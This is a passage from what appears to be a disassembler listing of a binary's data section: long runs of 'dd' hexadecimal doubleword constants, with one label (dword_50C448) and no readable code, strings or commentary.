1278A28Ch, 0DCC141C1h, 8180A498h, 66712143h, 97017FC8h dd 0D59F8DB6h, 0EC2D1124h, 779D800h, 0D1CA6DA2h, 3AACD9C0h dd 0C2FB2Bh, 6F0C29DBh dd 4AE5B778h, 23FD3D06h, 48388DFFh, 24588039h, 29B6410h dd 7188F151h, 7448DCE8h, 8700B946h, 0C53525C9h, 0B2008322h dd 0BEC41E4Ah, 75C8BC1Bh, 8E2C00E6h, 70398A0Dh, 225EBD7Eh dd 0BFB94802h, 60B757E6h, 2333DA01h, 372E733Ah, 82D67498h dd 1523BED0h, 0B4140209h, 1072E9FCh, 0DB44B074h, 829BA080h dd 67560920h, 6C7180FCh, 102DAB89h, 0BA866FB8h, 0BD8E297Ch dd 18B6D194h, 1DF2047Eh, 0B8AB4612h, 48B2B474h, 51C058F7h dd 75C48C8h, 7F16A517h, 95361225h, 6F02CC76h, 921E1F51h dd 12787690h, 88088F7Eh, 57FC0BAh, 0F4099124h, 29E598E3h dd 11241D5Ch, 0E85980B2h, 166A5FFh, 0D25322F4h, 0D2C61997h dd 58FDCA05h, 29EC6200h, 3130089Ch, 87102000h, 0DAC0B2AAh dd 81A2008Dh, 0FC918E3Fh, 0A13AA0A7h, 799F12F4h, 740078E3h dd 8D9AF071h, 0A8001CA1h, 0A797E29Dh, 1DD1656Eh, 459E94h dd 9924D695h, 0C80CB19Bh, 29CEAE9Ah, 1821D086h, 4989D618h dd 0A74BBC91h, 25BFE48Ch, 28E55E1Dh, 9460B9E4h, 925C45CBh dd 77137DAEh, 0B8A2545Eh, 0EF31CCF2h, 9F64303Fh, 84A3DB0h dd 0A8E274F3h, 98F6F30h, 8652C45h, 0F91520A1h, 0E1A11290h dd 0AB101ED4h, 535F8B20h, 9D997431h, 7088206Eh, 880EBD63h dd 320A1095h, 0FC4CC4E3h, 0CB4A6D58h, 0B8E848A0h, 85B8CAAh dd 5FE58820h, 37822611h, 0A6CC0884h, 0A763ED05h, 0D49D9CC2h dd 0CC46749Ch, 3CE05027h, 0B800D0D5h, 7306E81Dh, 256B47CEh dd 58419B0Eh, 1CC3945h, 56D687EDh, 0D7DCDBE1h, 2350722h dd 3032ACD2h, 2F30E631h, 5C8C144Bh, 0C81D4FA1h, 7E286B04h dd 982C9CABh, 467C7885h, 142803AEh, 0D0C3F068h, 0A497DCF3h dd 0AD0400FCh, 2FB9B050h, 7C001B33h, 0A5318045h, 0F9CA260h dd 7FCFFBA4h, 3B87B46Fh, 0C051690Ch, 191898F1h, 34B1D200h dd 0F1526657h, 0B3912D33h, 0A1ED2448h, 0E088CD82h, 2C3F0B22h dd 80546090h, 0B971F98h, 198BDA8h, 896B5558h, 444870B4h dd 0A6423CB6h, 0DCBD5FDBh, 0E8B0EA07h, 0F35D2300h, 24BA122Bh dd 0E964AC82h, 0F0F833F6h, 0F609D4C8h, 0D3E07124h, 535B7044h dd 0B1D7C500h, 3B7861BEh, 0C0314A14h, 493E6FF8h, 3500C4B4h dd 10E6791Ch, 9C277C99h, 0C3982E8h, 2507AB95h, 60B068D5h dd 80F30D67h, 6698F040h, 1DFEF144h, 9747B7F4h, 355DF4BAh dd 4E1C00E8h, 1FF147ACh, 0CD407EE4h, 7C3D17A2h, 2C34DC96h dd 44298727h, 192D00C4h, 149CACF9h, 0E23A86E1h, 71F609FBh dd 0D7809098h, 1244005Ch, 0D8652AEBh, 7178FF39h, 0BAF7B900h dd 416DA1DFh, 0D6ED0321h, 6B174E7Ch, 4F70B8F4h, 80C028DEh dd 1419CD49h, 52F57904h, 24C10DCAh, 0F8016F7Ah, 6A7B09A0h dd 5887039Ch, 0C8D98D12h, 963CB06Bh, 0B492626Ch, 44F05909h dd 0F834B80Ch, 0BB7D8CCDh, 0FF282901h, 20C4EA0Fh, 4BDB38ECh dd 80249B37h, 3D7E34E6h, 5E1C00FBh, 5167B0F7h, 99252625h dd 0A034EEA3h, 0D2A9ED70h, 4E14E619h, 8C7D242Bh, 3690B51Fh dd 0DA28D380h, 0BEB9343Ah, 7C6D2758h, 4C60C864h, 2F64AD75h dd 9850A9A9h, 1F160D01h, 81ABF11Eh, 22A1C2C8h, 40A5C04Fh dd 0F9755098h, 95DB0A20h, 189DE09Ah, 0E780AD11h, 9D956188h dd 9FDF2909h, 3704097Eh, 12168098h, 81A6E686h, 0B6D3EE06h dd 0F91B4CAh, 10F3B084h, 45FCE4C0h, 9212F0CEh, 0CF2E952h dd 0BC9CE8D2h, 9C7D8CB7h, 0B20CD875h, 66A168B9h, 3B5228B1h dd 27584FE4h, 0EBF53084h, 320779ACh, 55EE7331h, 16602110h dd 486812DCh, 5A14F3FCh, 0B523682Fh, 68416F00h, 42D9C26h dd 2CCEB824h, 4ACCB88Ah, 0CAC8C8CBh, 52CF2CC0h, 0FA200190h dd 5D2E250Dh, 38447FA6h, 7C9592C1h, 50BC80BDh, 6CC99B00h dd 9A3B3A22h, 0CC6B0024h, 7FBD8903h, 0CD529EF9h, 0F19F0488h dd 1CF9E1BAh, 0F1BEDD12h, 42606050h, 1C005775h, 0AABA9BA6h dd 0A8A01BB7h, 4A10EFF0h, 1998D250h, 0AB3CB4DAh, 81F2892h dd 0E709B496h, 79CC8BBEh, 0D99500C4h, 7D48F38Ch, 5FD6B100h dd 0DB85FF6Bh, 0B8F104B0h, 0C6773FF6h, 0B72838DCh, 7D200CBDh dd 50422D65h, 0ADE4C4E5h, 0FCC9CA61h, 700E6718h, 0C11E3727h dd 0BD56BE63h, 23603A6Bh, 0D0F325BBh, 78B43F12h, 0DD390734h dd 0AEE2CD4Eh, 161FB3A0h, 4D016429h, 20CB58DBh, 20780881h dd 7629F20h, 5E862B88h, 4D2A60B0h, 9D8CF8h, 576A2980h dd 3F2098E8h, 470052A9h, 5A595E41h, 0B4A418B7h, 212AAB27h dd 0D113D9E4h, 5448CC38h, 3F78F910h, 7B2111C1h, 81BD1C59h dd 90D80106h, 0A9F53D92h, 91A06834h, 18B9D1BCh, 0B9B00C5h dd 6771903Eh, 822D869h, 9B7160Dh, 9CB40458h, 3A3F0298h dd 594C5EADh, 0B008CED2h, 0AC58BD11h, 1133050Fh, 0F204B293h dd 43F53098h, 8E5E2407h, 9EE49F77h, 0AA4040AEh, 731D32ADh dd 3DEA3A01h, 343B9D0Fh, 788055FEh, 7743B0D7h, 64B631C9h dd 67330064h, 7271E55Dh, 0EE3E4B04h, 11BD008Dh, 0EA8BE2B1h dd 39F80043h, 3E590C1Ch, 0AC90215Bh, 0B0921F05h, 0D4BCB6CCh dd 524F0880h, 0CB27E7E6h, 0B0D08242h, 949CE43Bh, 0BA3A44E4h dd 57E0E2C2h, 686030B2h, 949765E7h, 5978B928h, 0EA7A18AFh dd 0CC051877h, 19025889h, 8D263B15h, 0AA6701C8h, 0BCDF51DBh dd 68CC1CF1h, 10AE5C8Fh, 0A4BA4D12h, 0B197EE5Ch, 414A90Ch dd 0BD85618Ah, 0C73D7A0Ch, 0A9CD12C4h, 88A404F0h, 8C001A5Dh dd 9FF3650Eh, 185307h, 7ABDBB7Ch, 4E15B742h, 706C29BFh dd 711CA004h, 486A819Ah, 0E2F84FB0h, 7A343825h, 0C95D0614h dd 41A43FBBh, 31F1BE00h, 39993619h, 0B86D2E34h, 0A1D88014h dd 788C4A06h, 56292016h, 912CCCC1h, 0B2E4883Ah, 0FEC13F00h dd 99445929h, 30D807EAh, 0A0B08F8Dh, 9DF2D1F1h, 0FA458725h dd 0F314030Ch, 0CF2A211Dh, 6C745026h, 55924700h, 90E11FF2h dd 82111216h, 9738F4F3h, 0B6F17708h, 0DF274015h, 0E8D2E498h dd 2A81B0F9h, 18A143Dh, 0FD7291Dh, 16A92BB9h, 6E30A0D2h dd 18D049C0h, 141FEDE8h, 0A086D906h, 1909A63Eh, 6892DDDEh dd 3F50A375h, 83393FABh, 0F0EE7Bh, 4B4E1C8Ah, 78C5842Ch dd 3FDA3718h, 17299699h, 1335A616h, 23C43AE4h, 0AB903CFh dd 0F9946CCAh, 4FF402BCh, 59E8ED1Ch, 18BED9A0h, 4A056074h dd 9A0AA999h, 1E28F802h, 60083712h, 80A8C5C0h, 925363Bh dd 64FC67ADh, 0C70F60C8h, 98F37F8Ah, 43B5888h, 46218009h dd 1A0974FEh, 0ADF825FDh, 0B6DDD001h, 19D15609h, 0C9C8984Bh dd 9AF53DC0h, 0EA49096Eh, 0FC71381Ch, 0A03D7024h, 22BE39B0h dd 2FB8CB8Eh, 0EE6A06B6h, 422490EFh, 0C6AFD86Ah, 834D00B8h dd 39A0BE4h, 9E072A58h, 1F446E54h, 60865570h, 969716F2h dd 0D528D14Eh, 0E08C7619h, 72598CBBh, 4F421BA0h, 91F6A8B2h dd 546AAE00h, 25C31D02h, 31390064h, 0E29D6DD7h, 7C2D45AAh dd 2700992h, 77E8908h, 0B88268B5h, 79B6BFFBh, 464AF58h dd 2B2C8400h, 0DC53E2B9h, 9C429F12h, 7EB0A955h, 4D00DC14h dd 97344AFh, 4F0BF0CAh, 0CE80F0A9h, 1E0D2C75h, 881A496h dd 6468A3E3h, 0B2791960h, 30C5F2E8h, 60EC06E1h, 6DCA8600h dd 5FDE6B6h, 40C94B8Ah, 0EBA82910h, 0AA00FAF0h, 5F48444Ah dd 7E862AF5h, 0DD962098h, 723B7C17h, 87A54004h, 282022AEh dd 0BAE440E7h, 92CD0260h, 98E5A39h, 568D0C39h, 7CC22DB8h dd 0B4BD7Dh, 706FB051h dword_50C448 dd 0D0312E29h, 17B7B0E0h, 850F432h, 199E6BC5h, 0BDA04C22h dd 0B371E4F1h, 0DF4CF718h, 0C20474F6h, 494237A0h, 82B428AEh dd 0F0B7758Ah, 99265A00h, 585DEF52h, 3FC03867h, 16F8AD64h dd 0FEF3F200h, 7CE6A98Ch, 1DE71E5Eh, 0FBA44550h, 75AC878Eh dd 0C14C2205h, 9C2D102h, 5551E856h, 0F2398453h, 0F4E8CB09h dd 462820BEh, 9D002722h, 5D3FBF4h, 192C8C1h, 0AB4CCF0Ah dd 7A703447h, 2804DC12h, 2100E17Ah, 2DAB9BA1h, 99E02295h dd 9AA8A0A3h, 0EA6080D0h, 26A605B0h, 0C346BC4Ch, 3CC965C6h dd 284AD7B8h, 4480AC9Bh, 555C7605h, 833690C8h, 38217A20h dd 3662C6DDh, 51EFE8C4h, 0F2CC34AEh, 3091F238h, 80A06754h dd 0C09FBE27h, 9073CEC0h, 7C6195A4h, 0E8136AB8h, 635F60F2h dd 20098CBCh, 0B0C0A50h, 0E470651Ch, 790F60B3h, 0E98800B2h dd 31213A43h, 7818CE64h, 962918B7h, 48077D7h, 0F585B199h dd 6734A43Eh, 0C25C0503h, 3B9CAC9h, 90E91B79h, 0B1E87142h dd 7A251463h, 356C60D7h, 0E3EB2557h, 0C6BAD017h, 38903B00h dd 7CB9BDBAh, 0CF229C02h, 5ED8652Ch, 85F10454h, 9852AA2Eh dd 2D7C58A3h, 0B4A57516h, 4F14B31Ch, 9223442Bh, 3E275D01h dd 508E9C6Dh, 0A8B3FA99h, 8CB3ECA8h, 0E0F9D800h, 9D3B3CDAh dd 9C730517h, 0A0DF2627h, 0E072068h, 7D82D447h, 0B26AA08Eh dd 95217F87h, 67F8D4C6h, 14646300h, 8CF11DF4h, 0F6E84F71h dd 0EE04F05Ch, 843FE15Eh, 0C734B844h, 0D03B4DAAh, 0FD11011Ch dd 25DD7A2Ah, 886E3FA7h, 0B8BF1200h, 1C38DF27h, 0D893AD28h dd 4041D40Fh, 7E220161h, 0B560C963h, 0CCD74BB7h, 211A1F60h dd 5C98CC3Eh, 0E44D2D44h, 427FBDC0h, 65147B3Bh, 84A78087h dd 4EF04100h, 0ECDAFBB9h, 2E78EFE7h, 0FFF3A209h, 4B685CA6h dd 0D570C0DBh, 32D2034Ah, 3BA9B268h, 0D849C4B8h, 8A1CE216h dd 0FA7274B2h, 3DFC2Dh, 69DC951Dh, 0E5D922EBh, 3580360Bh dd 20B8661Ch, 503F872Dh, 6771001Eh, 0B6E2037Ah, 0E0B79D26h dd 7FBADB00h, 30D20A2h, 10C56B8Ah, 0F9D1C1A9h, 0C800752Eh dd 0A75F704Ch, 0AAC8B4CEh, 0BEEA35C0h, 0B81F01D9h, 402180BDh dd 298987A6h, 71A0EECAh, 2CB786D5h, 46542663h, 9AEE69C3h dd 3EDE51CEh, 22AFFAC0h, 0A41442DFh, 0DC869D90h, 0ED9728E7h dd 0A899E0D0h, 6703E7D8h, 66DADBB8h, 3BB089BEh, 0A9888428h dd 0CF3DB380h, 3231C69h, 15096056h, 42A92E04h, 2AD5E9B9h dd 824510C1h, 258AC024h, 9440D065h, 0AD586EE6h, 71E22584h dd 0B0706F78h, 10871097h, 4BC0B2A2h, 1C10008Ah, 7197A1A8h dd 2189299Ah, 0D8791803h, 1084494Bh, 97C200B8h, 3C59E127h dd 8718CE79h, 5C95C82Dh, 0C4812560h, 3EF913B9h, 7594DC18h dd 0BCBA9FB0h, 371DD456h, 9529E420h, 3E715046h, 0F8437629h dd 0DF9F5F42h, 1C01803Dh, 0B3C918A4h, 0B04F3980h, 97C58D46h dd 0B69D0901h, 0B6BD1B7h, 2A809D2Ah, 0B723982Bh, 0CE8E0D39h dd 843A0C51h, 0E4B4F67Ch, 904C7CA2h, 4CA15810h, 184220Ch dd 8FA8722h, 0E059CDF2h, 6090C0A2h, 0B0452C0Ch, 250530ABh dd 34F93727h, 0B565A900h, 1646ACAh, 361528A3h, 0D0474155h dd 0DB002653h, 266C6E0h, 4BE94D69h, 1AF081EDh, 0EC86C37h dd 0A9818B57h, 8B445935h, 47F191Dh, 0D8B8A4B6h, 2C0DA1CBh dd 0F945F5D9h, 3064598Dh, 0AB458C08h, 2A09DC63h, 0C0D15B3Eh dd 6B18B3F1h, 6A49CB0Fh, 55AD2051h, 0D6278118h, 992449BCh dd 0D6D20479h, 546A08h, 0A1CD64DAh, 0BB4AE31Fh, 0E7E03CF6h dd 8F5CDE7Ah, 5CE92C68h, 0F01C58A5h, 0D860953Ch, 1897ACE5h dd 22268538h, 6C95A571h, 90ED9720h, 8804DD45h, 0B704A3E9h dd 17A0B221h, 5CE54D3Eh, 9254813Fh, 0D4352A8Dh, 0BCE5F804h dd 40BD9CF4h, 1E134EACh, 0ACAC715Bh, 0E6846580h, 8A0011DBh dd 0BB73E8Bh, 591F7A2h, 26FB3CCFh, 126CA84Ah, 94B637DBh dd 0D9FFDDE1h, 9C1BE24h, 0F98445AAh, 40901104h, 0B9253AACh dd 0AFE85BFFh, 0A14E984Dh, 0ABB91E1Fh, 958C0438h, 41007481h dd 7028AD5Eh, 7D6D7CAh, 71551E4Dh, 0AF14953Bh, 0A500606Eh dd 6D1CC4BEh, 1241770h, 766BC42Ah, 0FD00DE88h, 478ACBB6h dd 4A1BB3A9h, 0A208E6A7h, 8BE13099h, 0F6DA3F07h, 13B287E7h dd 0F45492EEh, 1446401Ch, 610051AFh, 0FD791F2Dh, 16529247h dd 0E9DDAE11h, 74F6E8DCh, 0CAE04AA7h, 293335FCh, 0EBB8BCBDh dd 25DF9F00h, 508085F6h, 0BEB44445h, 0BD0C8B00h, 8E6B63D3h dd 17EE00ADh, 8544ED80h, 0D0119A8h, 0DD2627DEh, 6F2EEC7Fh dd 0A9520074h, 3BB36AA0h, 8AC12014h, 7C8E644Fh, 40C5ACC8h dd 0FADB80BAh, 0D4982D3Ch, 71A3CC25h, 3082E92Ch, 3F008EDCh dd 0CA6D44Bh, 0BC2EAB52h, 0E051E79h, 583AE944h, 0A2F074ABh dd 30CBB230h, 9202D5ACh, 2D31782Ch, 6CD8E07Ch, 0E3360337h dd 0B526ABE6h, 9F99311Ah, 8280C0D9h, 0CAA41277h, 4ED8AD19h dd 97E05CF6h, 251F8B7Dh, 64A8ED16h, 0E55E8578h, 2CBE1420h dd 0A49195A6h, 2EE8D4C9h, 8A00237Eh, 78C459ABh, 397C3A5Fh dd 0A10B2421h, 6476E517h, 0BB4674h, 6E036A0Bh, 0FF2ADABFh dd 8A0EB463h, 1370846Dh, 0A8E326A1h, 0B14A3A4Ch, 0B9E8206Ch dd 0C9CE8B16h, 6B1C88D0h, 0B31E0076h, 7F36C226h, 0A52725EEh dd 0C0346DDCh, 27F6FABFh, 197E8F03h, 2DE0D98Ah, 38723FF1h dd 8276050Bh, 0F1F076Dh, 0E0F0CD2Bh, 0EE15DEB0h, 0E23DFB7Ch dd 20659CA6h, 0B6022944h, 0D810E8BDh, 71B72D8Eh, 6859A50Ch dd 53E2583h, 4E187DAEh, 1D486E68h, 43C47A03h, 9D41E514h dd 727D3DB0h, 22A00068h, 8175A37Fh, 0AB271233h, 3B4C202Fh dd 0B025CE50h, 2648A639h, 784D2298h, 0FA84497h, 735322F7h dd 0A8ADCA84h, 1CA07BA8h, 0CE0B1DF3h, 0A0D0C1B9h, 9569A45Ch dd 8C66B5B6h, 4309ECB0h, 762741A1h, 0B73060C8h, 3118ED45h dd 0DACE8EDDh, 305F0B1h, 3ACDD2C5h, 0E9FDD770h, 0F22B81Ch dd 0AA9F50B5h, 0F304CF41h, 0E442031Eh, 29652C07h, 3BBA44A1h dd 0EC8C3F96h, 0DE6AFB59h, 0CEAF8888h, 0C9513220h, 4C9DF27h dd 26A456A6h, 93467C80h, 3651B60Eh, 0AC218C7Eh, 3430B0B9h dd 0B10D799Ch, 0D04602EAh, 0BD862CC4h, 11D01D5Dh, 0CD1E80BAh dd 50B882D6h, 17E2F048h, 827B39F3h, 230EA080h, 90B50Ch dd 8722C4D0h, 4CE0A8EEh, 0C402A44Fh, 0E4A2893Fh, 0ABD120FCh dd 0F700707Fh, 9B99AC8Bh, 0E52FC7h, 3B0BB4EFh, 93A92CADh dd 1EB0BD24h, 17DC002Dh, 2560C75Fh, 0D461876Eh, 7794306Dh dd 0D0D4B395h, 417D53h, 73F17F6Eh, 1DE227A4h, 0B36B1801h dd 0A54657DEh, 10F4883Bh, 6A29D212h, 2B1DF0E6h, 638C2CEh dd 89F5CBFEh, 69C898ACh, 72F7B34h, 0DFD9CA1Ah, 73AF505Ah dd 110078B8h, 0E8D66775h, 5FB6E987h, 0B51C3123h, 683B01A8h dd 995D1088h, 9F60D039h, 0DDF6F113h, 44BF2C25h, 0AE591CA8h dd 0B6FB1800h, 0C09DC8BDh, 1E879710h, 48D28399h, 0DC2200ADh dd 0E8B8748Bh, 0CC00473Fh, 0E484C792h, 0DC1E17h, 0B4E21F89h dd 0ECA8210h, 96EEF092h, 60CEF92Fh, 133B80B4h, 0C283C524h dd 3920A948h, 0F257B8F8h, 0A4351305h, 0AB110324h, 810BF325h dd 56E55640h, 828010B8h, 2AC913Eh, 909320B7h, 0ABAD2EE0h dd 322C3980h, 0A871B2CDh, 6310E827h, 4A5EE3AEh, 391CE66Bh dd 1C0DC0A2h, 64CC51E8h, 17B704B0h, 0A40753A9h, 0F4B9B83Dh dd 89D6AD78h, 1CB8BD12h dd 551012AAh, 0A5317004h, 0A6226902h, 0FA891456h, 3C85854h dd 0F14B18A3h, 8C90C9CBh, 0F8505380h, 544ADA64h, 705880DAh dd 8CC9B8h, 0E3FC2462h, 26A47E23h, 0B0E669D3h, 486FB9E0h dd 5B370F25h, 2C6DA560h, 48074A40h, 0BF1775Ah, 6D928E6h dd 0F3694056h, 495B7024h, 74B2934Ah, 0A1D4A0B4h, 13C36C04h dd 0A212ADA5h, 56218B50h, 0A50BF6B4h, 0F99767DDh, 0B61208C8h dd 0A7352E02h, 0FF3842ECh, 570160B7h, 1E5F26CFh, 252A5BC4h dd 0ACE08845h, 58A53D51h, 0AB60BEC4h, 0D6011502h, 125F549Bh dd 609294E5h, 5AF0A337h, 7D9E3C82h, 0BCB7700Bh, 8800AE1Ch dd 0E341A01h, 3D8A164Ch, 2570F89Ch, 91605B15h, 0AB461B67h dd 0D444A8B1h, 8F940154h, 61BB079Dh, 50302BEEh, 2F24A1C3h dd 0CCF3BC59h, 7CEF5ED0h, 0A0345B9Ah, 2A0CCDF0h, 0A88BCC4Dh dd 48ACE4F1h, 0A24AE245h, 58E24A30h, 0E931CAF2h, 0FA5EC0DBh dd 0B0784A5Dh, 0A8054F4Ch, 851AB6EAh, 169DA090h, 2A7D4161h dd 6EBE3835h, 64100030h, 0ABB7447Eh, 0A1F9C429h, 0CC8CC0A4h dd 467BA36Eh, 6F649895h, 0F94F3Eh, 681210DCh, 0A94A53AFh dd 191DE401h, 0E022DFDAh, 0A220A11Fh, 0C87258h, 86FBA5FAh dd 0CEBBC9D7h, 9B8BA771h, 50B1540Eh, 3004E12h, 6708AFB2h dd 3D116FE0h, 18861E93h, 0D127E6D4h, 2C20C40Fh, 3AA102EFh dd 28788071h, 95BD07DBh, 0A7583453h, 0E0C7A42h, 0FF7CEBACh dd 9AF12081h, 60443BBDh, 74AB8FD8h, 806EFB7Ch, 0ADEFC107h dd 0F7CB6050h, 9848655Eh, 58362DB8h, 7C4F9F08h, 0F50E0460h dd 52CD016Bh, 0B89967C6h, 2F1700A0h, 23B312F4h, 5E68AC8Bh dd 0A88810CFh, 54C80AC1h, 0D68CC2Ah, 51135202h, 821627B2h dd 0FDA7CDC5h, 813D00B7h, 16E790BBh, 70221DB7h, 0AA2CC409h dd 7BA53C59h, 36DE70D0h, 0D18CFB00h, 1E5CEEF6h, 204505D0h dd 52B90EF9h, 138A8F8h, 211DD413h, 202DCB8Ah, 0B91CC10h dd 0F3A5E41Fh, 1060707Ch, 4C810E00h, 9525CF07h, 2C6295DCh dd 467CD054h, 0D9D307B5h, 0E27B33F2h, 0C894D598h, 0DC20415Eh dd 7CCD38Eh, 17DCD65h, 0E9DE208Bh, 62ECCAB0h, 37493000h dd 0EF736902h, 0F21E2D2Eh, 998800C5h, 0F95B939Ch, 0E1D725E8h dd 887EBE50h, 0CB0012A0h, 693D64EFh, 251FD627h, 0C859D5B8h dd 0E0080C00h, 3471BF1h, 0A2F8AF61h, 7CC8606Ch, 0A90DAD85h dd 0F92CBD71h, 644957D2h, 6BB05038h, 861797ECh, 7CFDEEF8h dd 4D05B8B8h, 0D034BE7Bh, 808C20BAh, 4000EE82h, 0E394B6CFh dd 62F704h, 0DB5CB5F8h, 0AC6DB322h, 2413E90Bh, 2B08C821h dd 681E5888h, 3153D820h, 0FA570094h, 0CE0D3BAEh, 0EA202671h dd 0B6118Ch, 2BAC29EEh, 2FDF8Bh, 3F48A3EDh, 17510CDEh dd 0F2217A09h, 113C9D0Eh, 683A80BDh, 2B01E7Dh, 6C9C41E0h dd 68529978h, 5A51700h, 6F21BDF2h, 0DBDF001Fh, 0F5994327h dd 0C0E008D0h, 0F2496C01h, 9E89363Bh, 0C86C8E6Bh, 5A62C3C9h dd 7502CAA8h, 4C4497h, 839921E2h, 0B1D6A28Ah, 352AF209h dd 0F1BCA21Ch, 796871BDh, 0F6CC19BCh, 3E6E2FFh, 85A3EF7Fh dd 0ABFD2D36h, 0B53AA03Ch, 0F71ABC45h, 5CD440C1h, 0E7215BCAh dd 0C06AB018h, 0F0F4048Bh, 0E44609F7h, 7200A630h, 481C3487h dd 3C6C07h, 83BD1BDCh, 0D4FB6894h, 0CE3DCC39h, 139CF0h dd 0F7F206F8h, 0A764C205h, 0A2F07103h, 0BCFCA18Dh, 6DD828ABh dd 0CE898285h, 0C4C1BC91h, 0BCCB6A45h, 0B3BA8572h, 407E29E6h dd 0EBEE1821h, 0CC5049ADh, 4488154Bh, 573B05A1h, 0EA7D269Dh dd 33E3DC01h, 6873BB91h, 0B13192E2h, 0A23D5089h, 90C70C71h dd 0BC5125D8h, 9B578A44h, 270A81D4h, 847A213Eh, 82AFEB8h dd 1E6F6B80h, 50C77999h, 0AC5423D9h, 2D1384A9h, 0E81CA996h dd 0F25C0275h, 52E2F8A0h, 82748977h, 57E16678h, 4F171838h dd 29F4C41Dh, 858459ADh, 0B0DEF99Dh, 6B0137B8h, 30B7853Ah dd 147945E7h, 8C89F200h, 28EBE236h, 2AE52575h, 5F7824F2h dd 0D9CC9DB1h, 9854FA34h, 0BC0C502Dh, 7D00F664h, 0F9C28EBDh dd 41051438h, 0E34860A3h, 0C41CE79Fh, 0DD260CFh, 2A9A051Fh dd 0BB825C45h, 0B7962444h, 23583BABh, 0FB0B00BCh, 44B0DA62h dd 0AB2FBE0Eh, 0B4B2962Dh, 2927910h, 2F4B18FBh, 60605CECh dd 3B644316h, 429D2C77h, 0A0375FF8h, 861F0E02h, 40AC74B1h dd 0D2F0992Dh, 0AB63A809h, 0B94870B4h, 18AB7948h, 844C4BC3h dd 0DBAE40h, 0AFDD809Dh, 0EC5D5241h, 343AFF04h, 29018BCDh dd 6E5BE526h, 0C8C8FC8Eh, 0B03607C0h, 107812FDh, 0D7B0ACF2h dd 0C5235C2Fh, 23D2C100h, 54BB115h, 7E8D17A9h, 6D708840h dd 1BB9F213h, 0ABD7900h, 5A458CB2h, 904C10DCh, 80EC9B4Bh dd 0E014AD04h, 6497D0h, 0D70E3F00h, 0A0573E2Bh, 17509B03h dd 2A8B33Ah, 8918CE28h, 0F84D5529h, 0FD4E7DC0h, 5D1F0440h dd 0C51C1A05h, 8E78848Ch, 0ACF0498Ch, 0A6275C95h, 84509834h dd 0C428B8DCh, 0F1019DEDh, 3286DD13h, 81613124h, 2824A299h dd 1649007Eh, 7CC3BA03h, 802CA3Eh, 4B580D2Fh, 0A51CC012h dd 0E4649DB6h, 8939A969h, 227010FAh, 7800497h, 0A0E6DD19h dd 0F9251FDCh, 953C5092h, 0B7579C92h, 80E99C2Ch, 1E20C541h dd 0D94FCA19h, 0C47BA489h, 0B8DBAAF4h, 8135409Dh, 46AEECDBh dd 0C4B8861Ch, 2DE71C44h, 74B420AAh, 0E5001A71h, 0DDE367CCh dd 1B72758h, 0D3D4698Ch, 3B362E04h, 80F86812h, 3F8CB8F8h dd 2B018C36h, 7C251EA7h, 0B0D92AECh, 0D6BD5468h, 13336330h dd 549BD2h, 0C41F62CEh, 674BED20h, 0C022D88Ah, 0F6191C03h dd 0B23BAD90h, 697C5C81h, 0B83FBC51h, 748B004Bh, 9E4729BAh dd 6E5A0533h, 0D5C52663h, 0C490BC00h, 4505B601h, 9413AB9Bh dd 9580CCDBh, 0C1501DA1h, 3DC94903h, 0EADB9F46h, 0F0265D75h dd 112FDCE2h, 0E41C8B42h, 19493EB4h, 0F7209200h, 2B409ABDh dd 0A909ABF2h, 0F9BACA53h, 520D008Ch, 59EF5762h, 0B8084012h dd 23A06BABh, 17853FCEh, 8927AB28h, 91B88868h, 2ACE02B1h dd 0EC417ABCh, 69BC6C1Dh, 0AC103768h, 9B0D8AC4h, 99D1E24h dd 548279h, 125F4680h, 39FC1D99h, 4C05B981h, 0B6A15743h dd 8228E010h, 16AD0010h, 0F623B322h, 261EE59Ch, 0D1402FF7h dd 0E1E71CFh, 5097139Ah, 0AC04E9BDh, 4C1DBFCEh, 2080BC91h dd 0AE24EE70h, 0A92D9217h, 0A22F08A8h, 4516F0C6h, 3C6A849Ch dd 5800B823h, 254F17AAh, 0B265281Eh, 0E8809DB8h, 0F91DC82Dh dd 60CCA626h, 24781C47h, 0F11A0B98h, 0BF188CBh, 88CE2B72h dd 0EDC0A888h, 2E473B37h, 0C62667h, 0D81DB990h, 65953663h dd 0C05D1A7Ch, 80FC3755h, 9C232877h, 0BDEE6261h, 1071A000h dd 811ABEE5h, 64E32493h, 8F5E61ACh, 4B3920F6h, 0A220E002h dd 7F38B06Dh, 88378C98h, 88D6ED24h, 0E4DE7CA4h, 3AF1012Bh dd 2380A7B2h, 9F06734h, 0DE16111Fh, 0E3399290h, 0D1B184E8h dd 251BD902h, 8B32850h, 554478h, 648FE62Ah, 0ABEF94FEh dd 8204234Ch, 50290C39h, 181A976Ch, 3C375Dh, 1C25742Ah dd 8B05F6F8h, 9C832157h, 1FB668C0h, 0F8516A2h, 5D7401E6h dd 6A7CDB2Ah, 0D2CCCD8h, 8625BB87h, 0A4CE6B10h, 0A3C0C4C8h dd 70FEB62Ch, 29C8166Eh, 96E044C0h, 34B004E2h, 2182F4ACh dd 4203D562h, 55558A1Eh, 4D95946Eh, 20A640BCh, 21053052h dd 19E0C81Bh, 3BB04CB6h, 0B92D2439h, 0E5B868A8h, 0E4C082ADh dd 0C91AC91h, 621898F1h dd 673FC803h, 122EE439h, 0AB8D3168h, 4085B028h, 0F9257D9Dh dd 110841B2h, 0B3605E0h, 0AE396E18h, 0D8971C64h, 5E420080h dd 0D61F73D0h, 0B812FC50h, 85070169h, 52F4ED1Bh, 6D16C8C0h dd 4489599h, 52D27368h, 52860500h, 13AEF4h, 9D63B535h dd 0CD1FA221h, 7068BF69h, 0DF28143Ch, 1780E469h, 93E41633h dd 812C7D01h, 0CE2A2920h, 1858B0ADh, 12ADFB38h, 24F0D280h dd 613E277Fh, 5EDB1060h, 42409C9Ch, 475D1BEh, 4D1EA2F6h dd 5BA4C072h, 4195E6FBh, 2F6DD44h, 1D219799h, 4E2F7A21h dd 80684518h, 0A85E1506h, 6C3F1640h, 910B80Dh, 0D4211BB9h dd 45A2524h, 6D36D44h, 352C3B41h, 85122091h, 0A080092Eh dd 6045F221h, 2C1CA949h, 0E695C27Dh, 85C0784h, 0D08913C4h dd 0FB3C5765h, 3311D9F2h, 5C63A94Dh, 0A00EAA44h, 0A9420F0Dh dd 5C105D9Fh, 0AB00B4A6h, 1ACEBB0Ch, 0FCC908F9h, 42F32DBAh dd 79443872h, 0CE011915h, 0FCDFF8B3h, 0A1B5B114h, 7C093674h dd 20A09452h, 3BF180F3h, 9B48DA7Ah, 20984BE7h, 40355843h dd 148CABF8h, 0DA873E61h, 2B64BB7Ah, 45B15890h, 35F30304h dd 0CCAA93E3h, 2E279DE0h, 60A48ABDh, 6AFAB360h, 0CEF20042h dd 57F0A0E9h, 5B04E712h, 